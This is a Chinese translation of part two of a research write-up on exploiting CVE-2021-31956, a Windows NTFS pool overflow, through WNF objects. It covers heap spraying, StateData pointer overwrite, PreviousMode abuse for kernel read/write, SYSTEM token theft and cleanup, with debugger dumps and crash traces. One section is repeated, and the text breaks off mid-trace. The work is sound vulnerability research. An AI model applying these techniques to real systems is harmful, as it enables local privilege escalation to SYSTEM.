【翻译】CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 2
引言
在第一部分[1]中,我们主要讨论了以下内容:
-
对CVE-2021-31956[2]漏洞(NTFS 分页池内存损坏)的概述及其触发方式
-
从漏洞利用角度介绍 Windows 通知框架(WNF)
-
使用 WNF 构建的漏洞利用原语
在本文中,我将在之前知识的基础上,重点讨论以下方面:
-
在不使用 CVE-2021-31955 信息泄露的情况下进行漏洞利用
-
通过 PreviousMode 实现更好的漏洞利用原语
-
可靠性、稳定性及漏洞利用后的清理工作
-
关于检测的思考
本文针对的版本是 Windows 10 20H2(OS Build 19042.508)。不过,该方法已在 19H1 之后引入段池的所有 Windows 版本上进行了测试。
不使用 CVE-2021-31955 信息泄露的漏洞利用
在之前的博客文章中,我曾暗示这个漏洞很可能可以在不使用单独的 EPROCESS 地址泄露漏洞CVE-2021-31955[3]的情况下被利用。这一观点也被Yan ZiShuang[4]所认同,并在这篇博客文章[5]中进行了记录。
通常,对于 Windows 本地权限提升,一旦攻击者实现了任意写入或内核代码执行,他们的目标就是提升其关联的用户态进程的权限或获取一个特权命令 shell。Windows 进程有一个关联的内核结构,称为_EPROCESS/_EPROCESS),它作为该进程的进程对象。在这个结构中,有一个 Token 成员,它代表了进程的安全上下文,包含了诸如令牌权限、令牌类型、会话 ID 等信息。
CVE-2021-31955 导致了系统上每个运行进程的 _EPROCESS 地址的信息泄露,据信被卡巴斯基发现的在野攻击所利用。然而,在实际利用 CVE-2021-31956 时,并不需要这个单独的漏洞。
这是因为 _EPROCESS
指针作为 CreatorProcess 成员包含在 _WNF_NAME_INSTANCE
中:
nt!_WNF_NAME_INSTANCE +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF +0x010 TreeLinks : _RTL_BALANCED_NODE +0x028 StateName : _WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK +0x058 StateData : Ptr64 _WNF_STATE_DATA +0x060 CurrentChangeStamp : Uint4B +0x068 PermanentDataStore : Ptr64 Void +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY +0x088 TemporaryNameListEntry : _LIST_ENTRY +0x098 CreatorProcess : Ptr64 _EPROCESS +0x0a0 DataSubscribersCount : Int4B +0x0a4 CurrentDeliveryCount : Int4B
因此,如果我们能够通过 _WNF_STATE_DATA
获得相对读写原语,从而能够读取和写入后续的 _WNF_NAME_INSTANCE
,我们就可以覆盖 StateData 指针指向任意位置,同时读取 CreatorProcess 地址以获取内存中 _EPROCESS
结构的地址。
我们期望的初始内存池布局如下:
这个方法的难点在于,由于低碎片堆(Low Fragmentation Heap, LFH)的随机化机制,使得可靠地实现这种内存布局变得更加困难。在漏洞利用的第一个迭代版本中,我们暂时避开了这种方法,直到进行了更多研究以提高整体可靠性并减少蓝屏死机(BSOD)的可能性。
举例来说,在正常情况下,你可能会看到多个连续分配的内存块呈现如下分配模式:
在不存在 LFH "堆随机化" 弱点或漏洞的情况下,本文将解释如何实现"相对较高"的漏洞利用成功率,以及为了在漏洞利用后保持系统稳定性需要进行哪些必要的清理工作。
第一阶段:喷射与溢出
从上一篇文章结束的地方开始,我们需要重新设计喷射和溢出的方法。
首先,我们的 _WNF_NAME_INSTANCE
结构大小为 0xA8 加上 POOL_HEADER(0x10),总共 0xB8 字节。如前所述,这会被放入一个 0xC0 大小的内存块中。
我们还需要喷射大小为 0xA0 的 _WNF_STATE_DATA
对象(加上头部 0x10 和 POOL_HEADER 0x10),最终也会分配一个 0xC0 大小的内存块。
正如文章第一部分提到的,由于我们可以控制易受攻击的分配大小,我们也可以确保溢出的 NTFS 扩展属性块同样被分配在 0xC0 段中。
然而,我们无法确定哪个对象会与易受攻击的 NTFS 块相邻(如上所述),因此我们不能采用与前一篇文章中类似的释放空洞并重用这些空洞的方法,因为 _WNF_STATE_DATA
和 _WNF_NAME_INSTANCE
对象是同时分配的,而且我们需要它们都存在于同一个内存池段中。
因此,我们需要非常小心地进行溢出操作。我们确保只溢出以下字段 0x10 字节(以及 POOL_HEADER)。
在 _WNF_NAME_INSTANCE
被破坏的情况下,Header 和 RunRef 成员将会被溢出:
nt!_WNF_NAME_INSTANCE +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF
在 _WNF_STATE_DATA
结构体被破坏的情况下,Header、AllocatedSize、DataSize 和 ChangeTimestamp 成员将会被溢出:
nt!_WNF_STATE_DATA +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : Uint4B +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B
由于我们无法确定首先会溢出 _WNF_NAME_INSTANCE
还是 _WNF_STATE_DATA
,因此我们可以触发溢出并通过循环使用 NtQueryWnfStateData 查询每个 _WNF_STATE_DATA
来检查是否发生损坏。
如果检测到损坏,则说明我们已经识别出目标 _WNF_STATE_DATA
对象。如果没有检测到,我们可以重复触发喷射和溢出操作,直到获得一个允许跨池子段进行读写的 _WNF_STATE_DATA
对象。
这种方法存在一些问题,其中一些问题可以得到解决,而另一些则没有完美的解决方案:
-
我们只希望损坏
_WNF_STATE_DATA
对象,但由于需要保持相同大小,池段中也包含_WNF_NAME_INSTANCE
对象。通过仅使用 0x10 的数据大小溢出并在之后进行清理(如内核内存清理部分所述),这个问题不会造成影响。 -
偶尔,包含无边界
_WNF_STATE_DATA
的块可能会被分配到池段的最后一个块中。这意味着在使用 NtQueryWnfStateData 查询时,会发生超出页面末尾的未映射内存读取。这种情况在实践中很少发生,增加喷射大小可以降低其发生的可能性(参见漏洞利用测试和统计部分)。 -
其他操作系统功能可能会在 0xC0 池段中进行分配,导致损坏和不稳定。通过在实际测试中,在触发溢出之前执行大规模喷射,这种情况在测试环境中似乎很少发生。
我认为记录现代内存损坏利用技术中的这些挑战是有用的,因为并不总是能够实现 100% 的可靠性。
总体而言,在问题 1) 得到解决,问题 2+3) 极少发生的情况下,虽然没有完美的解决方案,但我们可以继续进行下一阶段。
第二阶段:定位 _WNF_NAME_INSTANCE
并覆盖 StateData 指针
一旦我们通过溢出 DataSize 和 AllocatedSize 使 _WNF_STATE_DATA
无边界(如上所述,并在第一篇博客文章中描述),我们就可以使用相对读取来定位相邻的 _WNF_NAME_INSTANCE
。
通过扫描内存,我们可以定位模式 "x03x09xa8",它表示 _WNF_NAME_INSTANCE
的开始,并从中获取感兴趣的成员变量。
可以从已识别的目标对象中披露 CreatorProcess、StateName、StateData 和 ScopeInstance。
然后,我们可以使用相对写入将 StateData 指针替换为我们希望用于读写原语的任意位置。例如,基于从 CreatorProcess 获取的地址,在 _EPROCESS
结构中的偏移量。
这里需要小心确保 StateData 指向的新位置与要读取或写入的数据之前的 AllocatedSize、DataSize 值重叠。
在这种情况下,目标是实现完全任意的读写,而不需要找到要写入的内存之前的合理且可靠的 AllocatedSize 和 DataSize 值。
我们的总体目标是针对 KTHREAD 结构的 PreviousMode 成员,然后利用 NtReadVirtualMemory 和 NtWriteVirtualMemory API 来实现更灵活的任意读写。
了解这些内核内存结构的使用方式有助于理解其工作原理。在极度简化的概述中,Windows 的内核模式部分包含多个子系统:硬件抽象层(HAL)、执行子系统和内核。_EPROCESS
是处理通用操作系统策略和操作的管理层的一部分。内核子系统处理低级操作的架构特定细节,而 HAL 提供了一个抽象层来处理硬件差异。
进程和线程在内核内存中分别以 _EPROCESS
和 _KPROCESS
以及 _ETHREAD
和 _KTHREAD
结构表示在管理层和内核"层"中。
关于 PreviousMode[6] 的文档指出:"当用户模式应用程序调用本机系统服务例程的 Nt 或 Zw 版本时,系统调用机制将调用线程陷入内核模式。为了指示参数值源自用户模式,系统调用的陷阱处理程序将调用者线程对象中的 PreviousMode 字段设置为 UserMode。本机系统服务例程检查调用线程的 PreviousMode 字段,以确定参数是否来自用户模式源。"
查看从 NtWriteVirtualMemory 调用的 MiReadWriteVirtualMemory,我们可以看到如果用户模式线程执行时未设置 PreviousMode,则会跳过地址验证,并且可以写入内核内存空间地址:
__int64 __fastcall MiReadWriteVirtualMemory( HANDLE Handle,size_t BaseAddress,size_t Buffer,size_t NumberOfBytesToWrite, __int64 NumberOfBytesWritten, ACCESS_MASK DesiredAccess){int v7; // er13 __int64 v9; // rsistruct _KTHREAD *CurrentThread;// r14 KPROCESSOR_MODE PreviousMode; // al _QWORD *v12; // rbx __int64 v13; // rcx NTSTATUS v14; // edi _KPROCESS *Process; // r10 PVOID v16; // r14int v17; // er9int v18; // er8int v19; // edxint v20; // ecx NTSTATUS v21; // eaxint v22; // er10char v24; // [rsp+40h] [rbp-48h] __int64 v25; // [rsp+48h] [rbp-40h] BYREF PVOID Object[2]; // [rsp+50h] [rbp-38h] BYREFint v27; // [rsp+A0h] [rbp+18h] v27 = Buffer; v7 = BaseAddress; v9 = 0i64; Object[0] = 0i64; CurrentThread = KeGetCurrentThread(); PreviousMode = CurrentThread->PreviousMode; v24 = PreviousMode;if ( PreviousMode ) {if ( NumberOfBytesToWrite + BaseAddress < BaseAddress || NumberOfBytesToWrite + BaseAddress > 0x7FFFFFFF0000i64 || Buffer + NumberOfBytesToWrite < Buffer || Buffer + NumberOfBytesToWrite > 0x7FFFFFFF0000i64 ) {return3221225477i64; } v12 = (_QWORD *)NumberOfBytesWritten;if ( NumberOfBytesWritten ) { v13 = NumberOfBytesWritten;if ( (unsigned __int64)NumberOfBytesWritten >= 0x7FFFFFFF0000i64 ) v13 = 0x7FFFFFFF0000i64; *(_QWORD *)v13 = *(_QWORD *)v13; } }
该技术也在 NCC Group 关于Exploiting Windows KTM[7]的博客文章中被讨论过。
那么,我们如何根据从 CreatorProcess 的相对读取中获得的_EPROCESS
地址来定位 PreviousMode 呢?在_EPROCESS
结构的开头,_KPROCESS
作为 Pcb 被包含其中。
dt _EPROCESSntdll!_EPROCESS +0x000 Pcb : _KPROCESS
在 _KPROCESS
结构体中,我们有以下内容:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS *)0xffffd186087b1300))(*((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS] [+0x000] Header [Type: _DISPATCHER_HEADER] [+0x018] ProfileListHead [Type: _LIST_ENTRY] [+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64] [+0x030] ThreadListHead [Type: _LIST_ENTRY] [+0x040] ProcessLock : 0x0 [Type: unsignedlong] [+0x044] ProcessTimerDelay : 0x0 [Type: unsignedlong] [+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64] [+0x050] Affinity [Type: _KAFFINITY_EX] [+0x0f8] AffinityPadding [Type: unsigned __int64 [12]] [+0x158] ReadyListHead [Type: _LIST_ENTRY] [+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY] [+0x170] ActiveProcessors [Type: _KAFFINITY_EX] [+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]] [+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsignedlong] [+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsignedlong] [+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsignedlong] [+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsignedlong] [+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsignedlong] [+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsignedlong] [+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsignedlong] [+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsignedlong] [+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsignedlong] [+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsignedlong] [+0x278] ProcessFlags : 896 [Type: long] [+0x27c] ActiveGroupsMask : 0x1 [Type: unsignedlong] [+0x280] BasePriority : 8 [Type: char] [+0x281] QuantumReset : 6 [Type: char] [+0x282] Visited : 0 [Type: char] [+0x283] Flags [Type: _KEXECUTE_OPTIONS] [+0x284] ThreadSeed [Type: unsigned short [20]] [+0x2ac] ThreadSeedPadding [Type: unsigned short [12]] [+0x2c4] IdealProcessor [Type: unsigned short [20]] [+0x2ec] IdealProcessorPadding [Type: unsigned short [12]] [+0x304] IdealNode [Type: unsigned short [20]] [+0x32c] IdealNodePadding [Type: unsigned short [12]] [+0x344] IdealGlobalNode : 0x0 [Type: unsigned short] [+0x346] Spare1 : 0x0 [Type: unsigned short] [+0x348] StackCount [Type: _KSTACK_COUNT] [+0x350] ProcessListEntry [Type: _LIST_ENTRY] [+0x360] CycleTime : 0x0 [Type: unsigned __int64] [+0x368] ContextSwitches : 0x0 [Type: unsigned __int64] [+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP *] [+0x378] FreezeCount : 0x0 [Type: unsignedlong] [+0x37c] KernelTime : 0x0 [Type: unsignedlong] [+0x380] UserTime : 0x0 [Type: unsignedlong] [+0x384] ReadyTime : 0x0 [Type: unsignedlong] [+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64] [+0x390] AddressPolicy : 0x0 [Type: unsignedchar] [+0x391] Spare2 [Type: unsignedchar [71]] [+0x3d8] InstrumentationCallback : 0x0 [Type: void *] [+0x3e0] SecureState [Type: ] [+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64] [+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64] [+0x3f8] EndPadding [Type: unsigned __int64 [8]]
存在一个名为 ThreadListHead 的成员,它是一个 _KTHREAD
的双向链表。
如果漏洞利用程序只有一个线程,那么 Flink 将是一个指向 _KTHREAD
起始位置偏移量的指针:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY *)0xffffd186087b1330))(*((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY] [+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY *] [+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY *]
由此我们可以使用 0x2F8 的偏移量(即 ThreadListEntry 偏移量)来计算 _KTHREAD
的基地址。
0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080
我们可以验证这一点是否正确(并确认我们在前一篇文章中命中了断点):
该技术也在 NCC Group 关于Exploiting Windows KTM[8]的博客文章中被讨论过。
那么,我们如何基于从 CreatorProcess 的相对读取中获得的_EPROCESS
地址来定位 PreviousMode 呢?在_EPROCESS
结构的开头,_KPROCESS
作为 Pcb 被包含其中。
dt _EPROCESSntdll!_EPROCESS +0x000 Pcb : _KPROCESS
在 _KPROCESS
结构体中包含以下内容:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS *)0xffffd186087b1300))(*((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS] [+0x000] Header [Type: _DISPATCHER_HEADER] [+0x018] ProfileListHead [Type: _LIST_ENTRY] [+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64] [+0x030] ThreadListHead [Type: _LIST_ENTRY] [+0x040] ProcessLock : 0x0 [Type: unsignedlong] [+0x044] ProcessTimerDelay : 0x0 [Type: unsignedlong] [+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64] [+0x050] Affinity [Type: _KAFFINITY_EX] [+0x0f8] AffinityPadding [Type: unsigned __int64 [12]] [+0x158] ReadyListHead [Type: _LIST_ENTRY] [+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY] [+0x170] ActiveProcessors [Type: _KAFFINITY_EX] [+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]] [+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsignedlong] [+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsignedlong] [+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsignedlong] [+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsignedlong] [+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsignedlong] [+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsignedlong] [+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsignedlong] [+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsignedlong] [+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsignedlong] [+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsignedlong] [+0x278] ProcessFlags : 896 [Type: long] [+0x27c] ActiveGroupsMask : 0x1 [Type: unsignedlong] [+0x280] BasePriority : 8 [Type: char] [+0x281] QuantumReset : 6 [Type: char] [+0x282] Visited : 0 [Type: char] [+0x283] Flags [Type: _KEXECUTE_OPTIONS] [+0x284] ThreadSeed [Type: unsigned short [20]] [+0x2ac] ThreadSeedPadding [Type: unsigned short [12]] [+0x2c4] IdealProcessor [Type: unsigned short [20]] [+0x2ec] IdealProcessorPadding [Type: unsigned short [12]] [+0x304] IdealNode [Type: unsigned short [20]] [+0x32c] IdealNodePadding [Type: unsigned short [12]] [+0x344] IdealGlobalNode : 0x0 [Type: unsigned short] [+0x346] Spare1 : 0x0 [Type: unsigned short] [+0x348] StackCount [Type: _KSTACK_COUNT] [+0x350] ProcessListEntry [Type: _LIST_ENTRY] [+0x360] CycleTime : 0x0 [Type: unsigned __int64] [+0x368] ContextSwitches : 0x0 [Type: unsigned __int64] [+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP *] [+0x378] FreezeCount : 0x0 [Type: unsignedlong] [+0x37c] KernelTime : 0x0 [Type: unsignedlong] [+0x380] UserTime : 0x0 [Type: unsignedlong] [+0x384] ReadyTime : 0x0 [Type: unsignedlong] [+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64] [+0x390] AddressPolicy : 0x0 [Type: unsignedchar] [+0x391] Spare2 [Type: unsignedchar [71]] [+0x3d8] InstrumentationCallback : 0x0 [Type: void *] [+0x3e0] SecureState [Type: ] [+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64] [+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64] [+0x3f8] EndPadding [Type: unsigned __int64 [8]]
存在一个名为 ThreadListHead 的成员,它是一个 _KTHREAD
结构的双向链表。
如果漏洞利用程序只有一个线程,那么 Flink 将是一个指向 _KTHREAD
起始地址偏移量的指针:
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY *)0xffffd186087b1330))(*((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY] [+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY *] [+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY *]
由此我们可以使用 0x2F8 的偏移量(即 ThreadListEntry 的偏移量)计算出 _KTHREAD
的基地址。
0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080
我们可以验证这一点是否正确(并确认我们在前一篇文章中命中了断点):
0: kd> !thread 0xffffd18606a54080THREAD ffffd18606a54080 Cid 1da0.1da4 Teb: 000000ce177e0000 Win32Thread: 0000000000000000 RUNNING on processor 0IRP List: ffffd18608002050: (0006,0430) Flags: 00060004 Mdl: 00000000Not impersonatingDeviceMap ffffba0cc30c6630Owning Process ffffd186087b1300 Image: amberzebra.exeAttached Process N/A Image: N/AWait Start TickCount 2344 Ticks: 1 (0:00:00:00.015)Context Switch Count 149 IdealProcessor: 1UserTime 00:00:00.000KernelTime 00:00:00.015Win32 Start Address 0x00007ff6da2c305cStack Init ffffd0096cdc6c90 Current ffffd0096cdc6530Base ffffd0096cdc7000 Limit ffffd0096cdc1000 Call 0000000000000000Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5Child-SP RetAddr : Args to Child : Call Siteffffd009`6cdc62a8 fffff805`5a99bc7a : 00000000`0000000000000000`000000d0 00000000`00000000 ffffba0c`00000000 : Ntfs!NtfsQueryEaUserEaListffffd009`6cdc62b0 fffff805`5a9fc8a6 : ffffd009`6cdc6560 ffffd186`08002050 ffffd186`08002300 ffffd186`06a54000 : Ntfs!NtfsCommonQueryEa+0x22affffd009`6cdc6410 fffff805`5a9fc600 : ffffd009`6cdc6560 ffffd186`08002050 ffffd186`08002050 ffffd009`6cdc7000 : Ntfs!NtfsFsdDispatchSwitch+0x286ffffd009`6cdc6540 fffff805`570d1f35 : ffffd009`6cdc68b0 fffff805`54704b46 ffffd009`6cdc7000 ffffd009`6cdc1000 : Ntfs!NtfsFsdDispatchWait+0x40ffffd009`6cdc67e0 fffff805`54706ccf : ffffd186`02802940 ffffd186`0000003000000000`0000000000000000`00000000 : nt!IofCallDriver+0x55ffffd009`6cdc6820 fffff805`547048d3 : ffffd009`6cdc68b0 00000000`0000000000000000`00000001 ffffd186`03074bc0 : FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x28fffffd009`6cdc6890 fffff805`570d1f35 : ffffd186`0800205000000000`000000c0 00000000`000000c8 00000000`000000a4 : FLTMGR!FltpDispatch+0xa3ffffd009`6cdc68f0 fffff805`574a6fb8 : ffffd186`0800205000000000`0000000000000000`00000000 fffff805`577b2094 : nt!IofCallDriver+0x55ffffd009`6cdc6930 fffff805`57455834 : 000000ce`00000000 ffffd009`6cdc6b80 ffffd186`084eb7b0 ffffd009`6cdc6b80 : nt!IopSynchronousServiceTail+0x1a8ffffd009`6cdc69d0 fffff805`572058b5 : ffffd186`06a54080 000000ce`178fdae8 000000ce`178feba0 00000000`000000a3 : nt!NtQueryEaFile+0x484ffffd009`6cdc6a90 00007fff`0bfae654 : 00007ff6`da2c14dd 00007ff6`da2c4490 00000000`000000a3 000000ce`178fbee8 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffd009`6cdc6b00)000000ce`178fdac8 00007ff6`da2c14dd : 00007ff6`da2c4490 00000000`000000a3 000000ce`178fbee8 0000026e`edf509ba : ntdll!NtQueryEaFile+0x14000000ce`178fdad0 00007ff6`da2c4490 : 00000000`000000a3 000000ce`178fbee8 0000026e`edf509ba 00000000`00000000 : 0x00007ff6`da2c14dd000000ce`178fdad8 00000000`000000a3 : 000000ce`178fbee8 0000026e`edf509ba 00000000`00000000000000ce`178fdba0 : 0x00007ff6`da2c4490000000ce`178fdae0 000000ce`178fbee8 : 0000026e`edf509ba 00000000`00000000000000ce`178fdba0 000000ce`00000017 : 0xa3000000ce`178fdae8 0000026e`edf509ba : 00000000`00000000000000ce`178fdba0 000000ce`0000001700000000`00000000 : 0x000000ce`178fbee8000000ce`178fdaf0 00000000`00000000 : 000000ce`178fdba0 000000ce`0000001700000000`000000000000026e`00000001 : 0x0000026e`edf509ba
至此,我们已经掌握了如何计算与当前漏洞利用线程相关联的 _KTHREAD
内核数据结构的地址。
在第二阶段结束时,我们得到的内存布局如下:
第三阶段 - 滥用 PreviousMode
当我们设置 _WNF_NAME_INSTANCE
的 StateData 指针指向 _KPROCESS
的 ThreadListHead Flink 之前时,我们可以通过混淆 DataSize 和 ChangeTimestamp 来泄露该值,然后在查询对象后通过公式 FLINK = (uintptr_t)ChangeTimestamp << 32 | DataSize
计算出 FLINK 的值。
这使得我们能够通过 FLINK - 0x2f8 计算出 _KTHREAD
的地址。
一旦我们获得了 _KTHREAD
的地址,我们需要再次找到一个合理的值来混淆 AllocatedSize 和 DataSize,以便能够读取和写入位于偏移量 0x232 处的 PreviousMode 值。
在这种情况下,将其指向这里:
+0x220 Process : 0xffff900f`56ef0340 _KPROCESS +0x228 UserAffinity : _GROUP_AFFINITY +0x228 UserAffinityFill : [10] quot;??? quot;
生成以下"合理"的值:
dt _WNF_STATE_DATA FLINK-0x2f8+0x220nt!_WNF_STATE_DATA+ 0x000 Header : _WNF_NODE_HEADER+ 0x004 AllocatedSize : 0xffff900f+ 0x008 DataSize : 3+ 0x00c ChangeStamp : 0
允许将上述 Process 指针的最高有效字用作 AllocatedSize,并将 UserAffinity 作为 DataSize。值得一提的是,我们可以通过 SetProcessAffinityMask 或使用 start /affinity exploit.exe 启动进程来影响这个用于 DataSize 的值,但就我们能够读写 PreviousMode 的目的而言,这已经足够了。
在修改 StateData 后,其可视化效果如下:
这提供了 3 字节的读取能力(如果需要,还可以进行最多 0xffff900f 字节的写入——但我们只需要 3 字节),其中包含了 PreviousMode(即在修改前设置为 1):
00000100000000000000 | ..........
利用指针的最高有效字(由于始终是内核模式地址),应确保 AllocatedSize 足够大,从而能够覆盖 PreviousMode。
漏洞利用后阶段
如前所述,一旦我们将 PreviousMode 设置为 0,现在就可以使用 NtWriteVirtualMemory 和 NtReadVirtualMemory 在整个内核内存空间进行无约束的读写操作。这是一种非常强大的方法,展示了如何从难以使用的任意读写方法转向更好的方法,从而实现更简单的漏洞利用后操作和增强的清理选项。
随后,我们可以轻松遍历 EPROCESS 中的 ActiveProcessLinks,获取 SYSTEM 令牌的指针,并用其替换现有令牌,或者通过覆盖现有令牌的_SEP_TOKEN_PRIVILEGES
来执行提权操作,这些技术在 Windows 漏洞利用中已经长期使用。
内核内存清理
虽然上述方法对于概念验证(PoC)漏洞利用已经足够,但由于漏洞利用成功可能需要大量内存写入,这可能会使内核处于不良状态。此外,当进程终止时,某些被覆盖的内存位置在被使用时可能会触发蓝屏死机(BSOD)。
漏洞利用过程中的这一部分经常被 PoC 漏洞利用编写者忽视,但在实际场景中(如红队/模拟攻击等),这往往是最具挑战性的部分,因为稳定性和可靠性至关重要。通过这个过程也有助于理解如何检测此类攻击。
本节将描述在这一领域可以做出的一些改进。
PreviousMode 恢复
在我们测试的 Windows 版本中,如果尝试以 SYSTEM 身份启动新进程,但 PreviousMode 仍设置为 0,则会出现以下崩溃:
Access violation - code c0000005(!!! second chance !!!)nt!PspLocateInPEManifest+0xa9:fffff804`502f1bb5 0fba68080d bts dword ptr [rax+8],0Dh0: kd> kv # Child-SP RetAddr : Args to Child : Call Site00 ffff8583`c6259c90 fffff804`502f0689 : 00000195`b24ec500 00000000`00000000 00000000`00000428 00007ff6`00000000 : nt!PspLocateInPEManifest+0xa901 ffff8583`c6259d00 fffff804`501f19d0 : 00000000`000022aa ffff8583`c625a350 00000000`00000000 00000000`00000000 : nt!PspSetupUserProcessAddressSpace+0xdd02 ffff8583`c6259db0 fffff804`5021ca6d : 00000000`00000000 ffff8583`c625a350 00000000`00000000 00000000`00000000 : nt!PspAllocateProcess+0x11a403 ffff8583`c625a2d0 fffff804`500058b5 : 00000000`00000002 00000000`00000001 00000000`00000000 00000195`b24ec560 : nt!NtCreateUserProcess+0x6ed04 ffff8583`c625aa90 00007ffd`b35cd6b4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25(TrapFrame @ ffff8583`c625ab00)05 0000008c`c853e418 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!NtCreateUserProcess+0x14
需要进一步研究以确定这是否在早期版本中也是必要的,或者这是最近引入的更改。
我们可以简单地使用 NtWriteVirtualMemory API 在启动 cmd.exe shell 之前将 PreviousMode 值恢复为 1 来解决这个问题。
StateData 指针恢复
当 _WNF_NAME_INSTANCE
在进程终止时被释放(这实际上也是一个任意释放操作),_WNF_STATE_DATA
的 StateData 指针也会被释放。如果该指针没有恢复到原始值,将会导致如下崩溃:
00 ffffdc87`2a708cd8 fffff807`27912082 : ffffdc87`2a708e40 fffff807`2777b1d0 00000000`0000010000000000`00000000 : nt!DbgBreakPointWithStatus01 ffffdc87`2a708ce0 fffff807`27911666 : 00000000`00000003 ffffdc87`2a708e40 fffff807`27808e9000000000`0000013a : nt!KiBugCheckDebugBreak+0x1202 ffffdc87`2a708d40 fffff807`277f3fa7 : 00000000`0000000300000000`0000002300000000`0000001200000000`00000000 : nt!KeBugCheck2+0x94603 ffffdc87`2a709450 fffff807`2798d938 : 00000000`0000013a 00000000`00000012 ffffa409`6ba02100 ffffa409`7120a000 : nt!KeBugCheckEx+0x10704 ffffdc87`2a709490 fffff807`2798d998 : 00000000`00000012 ffffdc87`2a7095a0 ffffa409`6ba02100 fffff807`276df83e : nt!RtlpHeapHandleError+0x4005 ffffdc87`2a7094d0 fffff807`2798d5c5 : ffffa409`7120a000 ffffa409`6ba02280 ffffa409`6ba02280 00000000`00000001 : nt!RtlpHpHeapHandleError+0x5806 ffffdc87`2a709500 fffff807`2786667e : ffffa409`7129328000000000`0000000100000000`00000000 ffffa409`6f6de600 : nt!RtlpLogHeapFailure+0x4507 ffffdc87`2a709530 fffff807`276cbc44 : 00000000`00000000 ffffb504`3b1aa7d0 00000000`00000000 ffffb504`00000000 : nt!RtlpHpVsContextFree+0x19954e08 ffffdc87`2a7095d0 fffff807`27db2019 : 00000000`00052d20 ffffb504`33ea4600 ffffa409`712932a0 01000000`00100000 : nt!ExFreeHeapPool+0x4d409 ffffdc87`2a7096b0 fffff807`27a5856b : ffffb504`00000000 ffffb504`00000000 ffffb504`3b1ab020 ffffb504`00000000 : nt!ExFreePool+0x90a ffffdc87`2a7096e0 fffff807`27a58329 : 00000000`00000000 ffffa409`712936d0 ffffa409`712936d0 ffffb504`00000000 : nt!ExpWnfDeleteStateData+0x8b0b ffffdc87`2a709710 fffff807`27c46003 : ffffffff`ffffffff ffffb504`3b1ab020 ffffb504`3ab0f780 00000000`00000000 : nt!ExpWnfDeleteNameInstance+0x1ed0c ffffdc87`2a709760 fffff807`27b0553e : 00000000`00000000 ffffdc87`2a709990 00000000`0000000000000000`00000000 : nt!ExpWnfDeleteProcessContext+0x140a9b0d ffffdc87`2a7097a0 fffff807`27a9ea7f : ffffa409`7129d080 ffffb504`336506a0 ffffdc87`2a709990 00000000`00000000 : nt!ExWnfExitProcess+0x320e ffffdc87`2a7097d0 fffff807`279f4558 : 